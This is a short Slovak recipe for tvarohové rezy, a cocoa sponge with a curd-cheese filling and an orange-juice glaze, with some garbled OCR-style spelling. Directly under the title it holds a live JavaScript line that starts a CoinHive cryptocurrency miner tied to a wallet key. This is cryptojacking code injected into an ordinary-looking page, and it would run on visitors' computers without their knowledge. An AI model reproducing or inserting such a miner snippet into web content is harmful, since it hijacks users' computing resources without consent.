Tvarohové rezy

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

4 vajcia, 2dcl krystalového cukru, 2dcl oleja, 2 kakaové pudingové prasky (bezlepkove), 2
vanilkoveé pudingové prasky, 1 prasok do peciva.

Plnka: 750g jemného tvarohu, 1 Hera, 250 g praskového cukru, vanilkovy cukor. Poleva: 4dcl
pomaranCového dzusu, 1 Zlaty klas, vanilkovy cukor. Bielky vySlahame s cukrom, pridame
Zltky, olej, pudingové prasky a prasok do pediva, vylejeme na vymasteny a vysypany plech a
upecieme. Vychladnuté naplnime pinkou.

Plnka: Suroviny vymieSame, natrieme na vychladnuté cesto a dame stuhnuf do chladnicky.
Stuhnuté polejeme polevou.

Poleva: Suroviny uvarime na kasu, eSte vlazné nalejeme na plnku.




